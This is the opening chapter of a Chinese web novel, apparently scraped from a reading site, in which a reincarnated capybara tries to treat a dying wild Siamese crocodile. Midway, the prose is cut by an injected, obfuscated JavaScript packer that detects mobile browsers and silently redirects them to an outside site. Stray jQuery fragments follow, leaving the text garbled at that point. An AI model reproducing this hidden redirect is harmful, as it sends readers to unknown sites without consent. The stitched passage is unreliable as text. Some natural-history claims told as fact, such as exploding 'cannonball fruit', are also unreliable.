1. 初遇

作品:《我,卡皮巴拉,乘鳄扬善

    清晨的第一缕阳光,越过崇山峻岭,温暖地唤醒沉睡的生灵。


    睡意即将被驱散,宋远征挠了挠毛绒绒的肚皮,翻过身去,试图假装看不见升起的太阳。


    身下的草地真是该死的柔软,是他为自己精心布置的小床,受力分布堪称完美,确保他身体的每个部位都得到最好的放松。


    真舒服嗷,好似每一个假期的清早,没有早八的困扰,一觉接着一觉。


    但好景不长,很快他就感受到了来自外界的压力。


    他不得不把眼睛瞭开一条缝,口中发出不满的驱赶声:“大毛,睡你自己的窝去,别来烦我!”


    大毛就是这只压在他身上的水豚,也就是俗称的卡皮巴拉。


    大毛很喜欢宋远征做的小床,族群里没有哪只水豚能做出如此舒服的小窝,甚至比他泡在水里还要舒服!


    可惜宋远征太小气了,总是不愿意和他们分享。


    赶走了大毛,宋远征也没了睡意,缓缓睁开了眼睛。


    阳光下的粉尘纤毫毕现,小河边的视野无比开阔,和他曾经居住的钢铁森林截然不同。


    距离他意外死亡已经过去一个多月了,这段时间以来,他已经逐渐接受了自己变成一只水豚的事实。


    其实也没什么大不了的,做人总有这样那样的烦恼,还不如变成小动物来得简单快乐。


    他上一世是一名野生动物保护者,对野生动物有着天然的喜爱,所以变成动物什么的,他承受得了。


    卡皮巴拉的身体构造,让他可以和族群里的其他成员进行简单的沟通。在热带雨林中生存,有同伴自然比独自求生更容易存活。


    当然,事情也并不总是一帆风顺。


    他在努力适应自己的新身份,可有些东西不是他想要适应就能适应得了的。


    宋远征瞥向被他赶走的大毛,两岁的水豚正是最躁动的时期,他们的身体机能正在趋于完善。


    有点类似于人类的青春期,这段时间的水豚小伙子们,正在经受着一种甜蜜而折磨的困扰。


    是的,一岁半到两岁,正是水豚性成熟的年龄。


    在这期间,他们会寻找合适的求婚对象,尽其所能地吸引异性的青睐,以期能在三到四个月之后,收获一群卡皮巴拉小崽子。


    水豚的求偶过程不像雄孔雀那样,展示华丽的羽毛来释放魅力,也不会像雄蝶围绕着雌性翩翩起舞。


    他们的求偶行为没有特定的仪式,而是通过一些友好的行为来实现的。


    像是如影随形地陪伴对方、互相梳理毛发,抑或是同吃同住等亲密行为,都是可以视作水豚求偶的一环。


    譬如现在,饱餐过后的大毛,屁颠屁颠地找上了心上豚小花。


    两只爪子把她压,撅起屁股就是拉。


    拉完了,大毛霸道地催促道:“小花快点吃,这可是我特意为你留的,别个想吃都吃不到呢!”


    小花是只两岁半的雌性水豚,她接受了大毛的好意,意味着她对大毛应该也有几分好感。


    不过这种好感较为薄弱,在他们彻底确认关系之前,小花依然有自由选择的权利。


    “征征!”大毛招呼宋远征,“要不要一起吃点,可新鲜了,还热乎着呢!”


    宋远征不语,只是一味地转过身去。


    能不新鲜吗,他亲眼看着它从大毛的身体里“biu”出来的!


    大毛习惯了宋远征的冷淡,他的这位小伙伴和其他族人都不太一样,但至于为什么不一样,他的小脑袋瓜还想不出这么深奥的答案。


    他捧着热腾腾的排泄物,和小花一起,幸福地享受着美食。


    在水豚界,分享排泄物其实是相当友善的举动,观察两只水豚关系如何,就看他们愿不愿意请对方吃粑粑。


    这是因为水豚的消化道较短,无法充分消化吸收食物中的全部养分,导致它排出的粪便中仍然含有大量的营养物质。


    而在自然界中,能够获取能量的物质,对于生物的重要性不言而喻。


    因此,聪明的水豚们会通过自食粪便的方式,将排出体外的营养物质重新摄入体内,来帮助消化和吸收食物中的纤维素,并作为习性一代一代地流传下来。


    道理宋长征都懂,但要他跟其他生物分享粑粑,简直是在挑战他的底线。


    为了杜绝其他水豚发出共享粑粑的邀请,他果断离群,寻觅到一处僻静的河段准备解决生理问题。


    却闻到了一股非同寻常的气味。


    水豚的嗅觉非常灵敏,宋远征敏锐地捕捉到了空气中弥漫的铁锈味,他心中警铃大作,迅速钻入水中,只探出一双黑豆眼暗中观察。


    四周并无异样,只听得见潺潺的流水声。


    他分辨得出来,方才那股铁锈味分明是鲜血的味道,一场捕猎极有可能就在这附近爆发,不应该如此平静才对。


    事出反常必有妖,不论他的猜测是否准确,都意味着此处不再安全。


    本能驱使着他马上离开,他也的确打算这么做。但在离去之前,他眼角的余光捕捉到了一道身影。


    那是,鳄鱼?


    宋远征仔细打量着不远处的鳄鱼,它的体长约两米,身上覆盖着橄榄绿色的鳞片,四肢粗壮,体态良好。


    按照它的体型来推断,年龄应该在八到九岁左右,即将进入性成熟的阶段。


    哪怕只是一动不动地蛰伏着,也不可避免地散发出危险的气息。


    尤其是裸露在吻部之外的尖牙,更显得对方凶相毕露,锐不可当。


    然而宋远征却放弃了逃离,甚至径直向那只鳄鱼的方向游去,一直游到了距离鳄鱼仅有数米之遥的岸边。


    并非是他找死,而是他发现,眼前这只鳄鱼快死了。


    它的背鳞和尾部均有咬痕,尤其是尾部,血肉模糊,流血不止。


    腹侧还有一道又深又长的爪痕,血液从伤处汩汩而出,就连它的脏器都隐约可见。


    前肢上残留着一枚麻醉弹,内里的药物已经空了。


    他几乎可以想象得到,一只被猎人盯上的鳄鱼,在和猎犬鏖战中负伤,还被麻醉弹击中。


    它要付出多大的努力,才能摆脱追兵,逃到这里。


    只是它的伤得这么重,就算找来兽医救治,恐怕也九死一生。


    更何况这深山老林的,哪儿会有兽医为它治疗?


    宋远征遗憾地摇了摇头,他也想救它呀,可是他无能为力。


    小鳄鱼,一路走好,人间不值得。


    这时他发现这只鳄鱼的眼睛两侧的凸起呈箭头状,背部到腹部两侧鳞片的排布由疏到密,再加上它下颚第四颗牙齿非常突出。


    这些特征,足以证明它是一只野生的暹罗鳄。


    这让他愈发痛心疾首


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966390|161259||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    野生的暹罗鳄一度被认为已经灭绝,但在后来发现仍有少数留存,被列为濒危物种。


    如今人们所能见到的暹罗鳄,大多是人工养殖的,真正在野外存活的暹罗鳄,两只手都能数得过来。


    这让前世身为野生动物保护者的宋远征怎能忍得住袖手旁观?


    “我会尽全力救治你,但是能不能活还得靠你自己。”他顶着那张人畜无害的脸面无表情地说道。


    尽管他知道暹罗鳄听不懂他的语言,但他依然说得格外认真。


    暹罗鳄抬了抬眼皮,黯淡的双眼始终找不到焦距,最终只能无力地合上。


    宋远征却似乎感受到了对方想要活下去的决心。


    伤痕累累,积重难返,这只暹罗鳄能活到现在已经是奇迹。


    宋远征心想,既然是奇迹,何妨他再添上一笔,为这场奇迹尽绵薄之力。


    想要救治暹罗鳄,当务之急是为它止血,减缓血液的流失。


    举目四望,宋远征焦急地寻觅着,暹罗鳄的救治刻不容缓,他只能选择就地取材。


    好在暹罗鳄的运气还算不错,宋远征的视线里出现了一株枝干交错的铁西瓜树。


    铁西瓜树是一种生长在热带雨林中的植物,它的树皮呈灰棕色,一年四季都能开花,并在夏季结果。


    它成熟的果实黄绿相间、圆滚滚的,远远看去就像西瓜一样坠在树梢上,因此得名。


    要是你以为铁西瓜树的果实,是种和西瓜差不多的水果,那就大错特错了。


    这些酷似西瓜的绿球球,非但果肉难以下咽,还会分泌出一种和汽油成分相似的烃类化合物。


    一旦遇到明火,饱和状态下的铁西瓜,就会在顷刻间发生爆炸。


    正因如此,铁西瓜也有了另外一个令人闻风丧胆的名字:炮弹果。


    如此危险的果实,宋远征自然敬而远之,尽管它们还未成熟,也不会轻易爆炸。


    他想要的并非这些铁西瓜,而是那些点缀在枝干上,毫不起眼的绿色小花。


    这些小花晚上开花,早上凋零,此刻正蔫蔫地趴在老茎上。


    早已盯上它们的水豚人立而起,张嘴恰好能够到最矮的那朵。


    噫,臭死啦!


    灵敏的嗅觉对于此刻的宋远征堪称折磨,铁西瓜花淡淡的臭味被放大了好几倍涌入鼻腔,直达天灵盖!


    相比之下,大毛的粑粑都算不上什么了。


    宋远征以最快的速度,把铁西瓜花塞进嘴里,嚼成糊糊,吐在暹罗鳄的伤口上。


    别看这花儿又不起眼,又臭烘烘的,它含有丰富的生物碱和黄酮类成分,有助于止血。


    一朵铁西瓜花肯定不够,热心肠的水豚又往返了好几趟,铁西瓜树下掉落的花瓣都被他捡了个干净。


    做完这一切,疏于运动的水豚小宋,这才有功夫气喘吁吁地坐倒在暹罗鳄身边小憩片刻。


    万幸,小鳄鱼大部分的伤口涂抹了铁西瓜花,目前看来血是止住了。


    唯独侧腹那道横贯首尾的颇为棘手。


    如果不能及时找到缝合的工具,那暴露在空气中的脏器组织很容易感染炎症,轻则化脓溃烂,重则危及生命。


    托腮沉思的宋远征不曾察觉,方才还一动不动的暹罗鳄忽然睁开了眼睛,那双冷酷的眼眸直勾勾地盯着他,仿佛要将眼前的猎物撕碎!